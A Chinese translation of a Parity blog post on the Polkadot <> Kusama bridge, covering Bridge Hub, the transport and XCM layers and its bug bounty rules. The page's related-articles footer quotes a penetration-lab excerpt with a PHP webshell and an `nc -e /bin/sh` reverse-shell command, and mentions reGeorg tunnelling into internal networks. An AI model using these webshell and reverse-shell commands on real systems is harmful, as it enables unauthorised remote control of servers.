Polkadot <> Kusama 桥:打造无信任互操作性的开创性范例

在这里插入图片描述

原文:https://www.parity.io/blog/trustless-interoperability

作者:Adrian Catangiu|Rust 区块链核心工程师,Parity Technologies

编译:OneBlock+

在这里插入图片描述

Polkadot <> Kusama 桥是无信任互操作性的开创性范例。本文深入探讨了该桥的功能、演变过程,并展望了其对区块链整体潜在的广泛影响。

自区块链技术诞生以来,不同网络之间的互操作性和高效资产转移一直亟待解决的关键问题。Polkadot <> Kusama 桥是第一个以信任方式实现这一点的桥梁,为区块链世界的发展带来了无限可能。

这个「桥」的旅程始于早期在两个以太坊 PoA(权威证明)链之间启用消息交换的尝试。2019 年 11 月,重点转向在使用 Polkadot SDK(当时称为 Substrate)构建的链与其他 PoA 链之间建立桥梁,这项工作由 Parity Technologies 牵头。

在面对各种挑战后,团队决定再次转向,开发连接两个使用 Polkadot-SDK(Substrate)构建的链的桥梁。平行链和 XCM(跨共识消息)在 2022 年和 2023 年期间被开发并部署到 Kusama 和 Polkadot 网络。

同时,「桥」从基于中继链的方式演变为基于平行链的模型,自定义执行协议被 XCM 功能取代。最终结果是一个非托管、信任的、去中心化的「桥」,扩展了 XCM 程序在生态系统中的应用范围。

什么是 Polkadot Bridge Hub?

Bridge Hub 是 Polkadot 和 Kusama 生态系统中的一个专门系统平行链,专门用于促进「桥」之间的操作。它作为各种「桥」之间活动的中央节点或枢纽,是 Polkadot 构想的互联区块链网络基础设施的重要组成部分。

核心功能

1、消息处理: Bridge Hub 负责管理「桥」操作中的入站和出站消息。它可以处理并准备这些消息,确保它们在不同连接的区块链之间得到正确处理和传输。

2、托管桥梁组件: 系统平行链在其运行环境中托管所有必需的「桥」组件。这些组件包括消息组件、平行链证明组件、Grandpa 轻客户端、BEEFY 轻客户端等,这些都是「桥」功能的核心。

3、治理和所有权: 作为系统链,Polkadot 和 Kusama 生态系统中的多个「桥」由生态系统的治理系统托管和拥有。这确保了民主化、去中心化、信任和安全的「桥」操作管理方式。

Bridge Hub 遵循 Polkadot 的去中心化和信任原则,消除了对可信第三方中介或参与者的需求,使「桥」操作更加安全可靠。

Polkadot <> Kusama 桥现已上线!现在有一个漏洞赏金计划,任何能够识别问题的人都可以参与,一旦修正,将最大限度地提高「桥」的稳定性。此外,它为开发人员提供了灵活性。作为 Polkadot 上「桥」操作的标准化平台,Bridge Hub 允许开发者创建和实现跨共识应用程序,而无需使用专门的功能,只需使用 XCM 协议。

Bridge Hub 的设计注重可扩展性和效率,确保「桥」能够无缝处理多区块链网络之间的大量交易和交互。

在这里插入图片描述

BUG Bounty

在区块链技术中,「桥」已成为连接不同区块链生态系统的重要组件。作为一种概念,「桥」使数据、资产等在多条链之间进行转移成为可能。然而,由于其关键角色和高交易量,「桥」同时也成为恶意活动的热点。一旦被利用,这些漏洞可能导致巨大的财务损失。详细的风险评估详见 Polkadot/Kusama 桥威胁模型。

BUG Bounty 的范围有哪些?
Parity Bridges Common 是构建「桥」的组件集合,如用于同步消息头的 Substrate 组件、传递任意消息的组件以及用于构建中继器以提供跨链通信功能的库。

Bridges Common:

https://github.com/paritytech/parity-bridges-common

https://github.com/paritytech/polkadot-sdk/tree/master/bridges

XCM 和 BridgesHub:

https://github.com/paritytech/polkadot-sdk/tree/master/cumulus/parachains/runtimes/bridge-hubs

https://github.com/polkadot-fellows/runtimes/tree/main/system-parachains/bridge-hubs

什么是好的 BUG 提交?
提供有效的概念验证(或等效证据)——假设你的研究没有产生不可恢复的变化。这有助于官方评估你的提交是否在计划范围内并且在可能的攻击中可用。包括你对潜在影响和可能攻击场景的设想,包括所需的攻击条件。

漏洞必须是原创的且未被报告过(在公共问题或内部审核中没有报告痕迹),但请附上你在发现或引入漏洞时所引用的问题或 PR 链接。

如何获取报酬?
符合奖励资格的漏洞猎手需要进行 KYC 以证明其身份。漏洞猎手需要签署奖励信。有关付款时间和更多详细信息将会在信中详细说明,官方会请求一个 DOT/KSM 地址以发送奖励。

提交你的发现!
将你的发现仅发送到以下电子邮件地址 bridgesbugbounty@polkadot.network,请确保仔细检查“什么是好的提交?”部分以避免提交被拒绝。你可以随时查看链上公投文档以了解有关该计划及其动态的更多详细信息。

💰 查看 BUG Bounty 详情:https://polkadot.network/development/bridges-bug-bounty/

📑 查看 Proposal 文档:https://docs.google.com/document/d/1j-Nb7FYgSJpChgbvkbkHCM_dsjENhrh4Vqc4rNsmNGY/edit#heading=h.v6is2ta0txr1

免责声明:

OneBlock+ 社区仅做 BUG Bounty 科普与介绍,具体规则与奖励由 Polkadot 和 Kusama 社区官方完全决定。

传输层如何工作

传输层是 Polkadot <> Kusama 桥的重要组成部分,旨在处理两个不同区块链网络之间安全和信任消息传递的复杂性。

在这里插入图片描述

主要功能和特点

1、高安全性和低级实现: 传输层强调高安全性,并在系统内以低级实现。它负责将一侧桥接到另一侧,依赖最终性(finality proofs)证明和轻客户端验证(light client verification),以确保消息的真实性和可信度。

2、轻客户端的实现: 链上轻客户端用于使桥的一侧信任地跟随另一侧的最终性共识,从而允许其在不复制其整个状态的情况下“导入”另一侧的消息头(headers)。

3、处理平行链头和消息/状态验证: 传输层通过使用加密存储证明对导入的消息头进行验证,从而允许信任地同步另一侧的平行链消息头。

4、信任消息传递: 该层负责在 Polkadot Bridge Hub 和 Kusama Bridge Hub 之间进行信任消息传递。它使用加密存储证明对发送者平行链消息头进行验证来认证消息。消息由无许可、去中心化的中继者(relayers)传递。

5、对用户和开发者透明: 尽管技术复杂,传输层设计为对终端用户和开发者透明。此方法通过抽象底层技术过程,增强了用户体验,使「桥」更易于使用。

6、支持多种状态传输类型: 尽管主要集中于消息传递,传输层可以传输多种类型的状态信息。这种灵活性使其能够比简单的资产转移支持更广泛的用例。

Polkadot <> Kusama 桥执行/Dapp 层

Dapp 层,也称为跨共识 XCM 程序层,是 Polkadot <> Kusama 桥的重要组成部分,因为它使去中心化应用程序能够在 Polkadot 和 Kusama 生态系统内的不同区块链网络之间运行。

在这里插入图片描述

应用层专为处理跨共识应用程序而设计,可以处理资产转移或任意 XCM 程序的执行。其功能包括:

1、区块链兼容性: 它可以与各种区块链的数据交互,无论其底层共识机制或特定链特性如何,这将允许广泛的互操作性用例。

2、开发者灵活性: 应用程序可以无需针对每个区块链定制的专门功能,从而极大地简化了跨链应用程序的开发过程。

3、用户和开发者透明: 应用层设计为对用户和开发者透明。它抽象了跨链通信的复杂性,为与跨多个区块链运行的去中心化应用程序交互提供了更用户友好的界面。

应用层在低级传输协议和终端用户应用程序之间起桥梁作用。它将数据转换为区块链上的具有可操作性的操作,从而实现跨链数据在去中心化应用程序中的实际使用。

桥上的资产转移

Polkadot <> Kusama 资产转移用例展示了资产如何在 Polkadot 和 Kusama 网络之间无缝转移。该用例是桥梁旨在实现的互操作性的实际应用,使资产在这两个不同的区块链生态系统之间流动。

该桥展示了一种促进安全、信任和高效跨链交易的方式。它不仅增强了 Polkadot 和 Kusama 网络的功能,还为更广泛的区块链生态系统中的类似互操作性用例开创了先例。

结论

Polkadot <> Kusama 桥代表了区块链技术的一个重要进步,生动展示了信任、去中心化和无许可互操作性的实际应用。通过其复杂的层次和组件,该桥实现了无缝互信的区块链生态系统的愿景。

从早期连接以太坊 PoA 链到利用跨共识消息(XCM)协议的复杂系统的发展历程,是区块链开发创新精神的见证。

Polkadot <> Kusama 桥的意义不仅限于其当前功能。它为未来的区块链开发设定了先例,突显了更复杂和集成的区块链应用的潜力。开发过程中面临的挑战和考虑为用户和开发者提供了宝贵的见解,有助于区块链技术中关于可扩展性、安全性和用户体验的持续讨论。

展望未来,Polkadot <> Kusama 桥不仅作为一个成功的项目存在,更作为区块链领域可能性的灯塔。其对推进区块链信任和安全互操作性的贡献,为更加互联和功能齐全的数字世界铺平了道路,有效消除不同区块链网络之间的障碍得以,迎来了合作和创新的新时代。

📡 Polkadot and Kusama Bridge Wiki:https://guide.kusama.network/docs/learn-guides-dot-ksm-bridge/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1452211.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

reGeorg隐秘隧道搭建

reGeorg隐秘隧道搭建 【实验目的】 通过学习reGeorg与Proxifier工具使用&#xff0c;实现外网攻击端连接内网主机远程桌面。 【知识点】 python、reGeorg、proxifier。 【实验原理】 在内网渗透中&#xff0c;由于防火墙的存在&#xff0c;导致无法对内网直接发起连接&#xff…

可解析PHP的反弹shell方法

这里拿vulnhub-DC-8靶场反弹shell&#xff0c;详情见Vulnhub-DC-8 命令执行 拿nc举例 <?php echo system($_POST[cmd]); ?>利用是hackbar&#xff0c;POST提交cmdnc -e /bin/sh 192.168.20.128 6666, 直接反弹shell到kali。 一句话木马 <?php eval($_POST[&qu…

原码、反码和补码

原码 原码是数字的二进制表示方式&#xff0c;由符号位和绝对值&#xff08;数值位&#xff09;构成。原码的第一位代表符号位&#xff08;0 代表正数&#xff0c;1 代表负数&#xff09;&#xff1b;第二位开始就是数字的绝对值。 反码 反码的表示方法区分正负数。 正数时…

C# Winform内嵌窗体(在主窗体上显示子窗体)

在开发Winform项目中&#xff0c;经常会要切换不同的窗体。通常程序都有一个主窗体&#xff0c;在切换窗体时往往需要关闭其他子窗体&#xff0c;这个实例就来介绍MDI主窗体内嵌子窗体的实现方法。 MDI主窗体要设置一个比较重要的属性&#xff0c;IsMdiContainertrue。子窗体的…

leetcode-09-[232]用栈实现队列[225]用队列实现栈[20]有效的括号[1047]删除字符串中的所有相邻重复项

重点&#xff1a; 栈和队列 Java中 栈不建议用stack来实现 建议用 ArrayDeque和Linkedlist来实现 队列建议用ArrayDeque和Linkedlist来实现 两者效率比较&#xff1a; java - Why is ArrayDeque better than LinkedList - Stack Overflow 基于Linkedlist是链表等&#xff0c;除…

亚马逊测评自养号与机刷的区别

前言&#xff1a; 在亚马逊运营的领域中&#xff0c;经常有人问&#xff1a;测评自养号就是机刷吗&#xff1f;它们两者有什么区别&#xff1f;做自养号太慢、太需要时间了&#xff0c;如果用机刷的话&#xff0c;会不会简单高效一点&#xff1f; 在这篇文章中&#xff0c;我…

【C++进阶】模板进阶与仿函数:C++编程中的泛型与函数式编程思想

&#x1f4dd;个人主页&#x1f339;&#xff1a;Eternity._ ⏩收录专栏⏪&#xff1a;C “ 登神长阶 ” &#x1f921;往期回顾&#x1f921;&#xff1a;栈和队列相关知识 &#x1f339;&#x1f339;期待您的关注 &#x1f339;&#x1f339; ❀模板进阶 &#x1f9e9;<&…

GTC2024全国流量大会,IPIDEA与您共话出海新趋势

在科技与信息化高速发展的今天&#xff0c;流量已成为连接线上线下、推动商业发展的重要驱动力。6月17日至6月18日&#xff0c;深圳福田会展中心即将迎来GTC2024全国流量大会&#xff08;深圳&#xff09;的盛大召开。 GTC全国流量大会作为业内产业链最全、资源最丰富的专业展会…

el-tabl 表格行列转换(表头在左数据在右)

1 效果展示 1 空数据 2 有数据 2 完成代码 2.1 SchedulingTable.vue <template><div class="schedulingTable"><el-row :gutter="1" class="row-center"><el-col :span="3"><el-tag type="&quo…

STM32项目分享:智能窗帘系统

目录 一、前言 二、项目简介 1.功能详解 2.主要器件 三、原理图设计 四、PCB硬件设计 1.PCB图 2.PCB板打样焊接图 五、程序设计 六、实验效果 七、资料内容 项目分享 一、前言 项目成品图片&#xff1a; 哔哩哔哩视频链接&#xff1a; https://www.bilibili.c…

【docker实战】使用代理的坑

在docker公共仓库被封禁的日子里&#xff0c;大多数人更喜欢使用镜像仓库代理源。 网上教程一大把&#xff0c;似乎不使用代理&#xff0c;就不会使用docker一样。 上图就是我设置的代理源镜像仓库。通常是设置/etc/docker/daemon.json这个文件实现的。 这样设置之后&#xff0…

显卡GPU、CUDA、Pytorch版本对应即下载安装

显存大于4G的建议使用GPU版本的pytorch&#xff0c;低于4G建议使用CPU版本pytorch&#xff0c;直接使用命令安装对应版本即可 GPU版本的pytorch的使用需要显卡支持&#xff0c;需要先安装CUDA&#xff0c;即需要完成以下安装 1.查看显卡GPU支持的CUDA版本&#xff08;最高&…

Bug:SSH Failed Permission Denied(完美解决)

Bug&#xff1a;SSH Failed Permission Denied&#xff08;完美解决&#xff09; 今天我本机mac通过ssh访问linux服务器时报错&#xff1a;SSH Failed Permission Denied 思路&#xff1a; linux服务器sshd是否开启linux /etc/ssh/sshd_config配置是否正确&#xff08;是否开启…

Stable Diffusion入门指南(看完必会)超全面

作者&#xff1a;SuMu 链接&#xff1a;https://zhuanlan.zhihu.com/p/703196651 来源&#xff1a;知乎 著作权归作者所有。商业转载请联系作者获得授权&#xff0c;非商业转载请注明出处。 今天写这个帖子是带大家了解一款强大的 AI 绘画工具——Stable Diffusion&#xff…

重新安装TortoiseGit后提示权限错误问题解决

今天在Windows11系统中下载安装使用TortoiseGit可视化Git工具&#xff0c;进行代码提交管理。 由于电脑之前是一位开发人员在使用&#xff0c;所以曾经安装使用过这个工具。 重新安装好软件后&#xff0c;在coding网站中复制代码路径后&#xff0c;在本地目录通过鼠标右键选择…

把Vue项目从Window系统迁移到Mac系统的方案

不能启动vue ui 直接运行&#xff0c;会报错如下&#xff1a; failed to load config from /Users/xiaochen/IdeaProjects/ChatViewer-frontend/vite.config.tserror when starting dev server: Error: You installed esbuild for another platform than the one youre curre…

大模型企业落地:制造业可以选择的应用场景

前言 在当今制造业快速发展的背景下&#xff0c;设备稳定运行对于企业的发展至关重要。然而&#xff0c;传统的设备维修模式已无法满足现代企业的需求。为此&#xff0c;引入智能化、数字化的设备维修解决方案成为必然趋势。本文将探讨如何利用大模型技术&#xff0c;构建企业…

【FireSim/Chipyard】解决FireSim Repo Setup步骤中Conda的firesim环境下载失败的问题

【FireSim/Chipyard】解决FireSim Repo Setup步骤中Conda的firesim环境下载失败的问题 问题描述 按照U250官方文档下载Conda环境的时候&#xff0c;即语句./scripts/machine-launch-script.sh --prefix REPLACE_ME_USER_CONDA_LOCATION的时候会遇到以下报错&#xff1a; Sol…

vue3-sfc-loader动态加载一个异步vue组件生成cesium画面

在 Vue.js 3 中&#xff0c;使用 vue3-sfc-loader 可以动态加载异步的 Vue 单文件组件&#xff08;.vue 文件&#xff09;。这个工具允许你在运行时根据需要加载和解析 .vue 文件&#xff0c;使得组件的加载变得更加灵活和动态。 下面是一个简单的示例&#xff0c;演示如何使用…

C++面向对象程序设计 - 函数库

C语言程序中各种功能基本上都是由函数来实现的&#xff0c;在C语言的发展过程中建立了功能丰富的函数库&#xff0c;C从C语言继承了些函数功能。如果要用函数库中的函数&#xff0c;就必须在程序文件中包含文件中有关的头文件&#xff0c;在不同的头文件中&#xff0c;包含了不…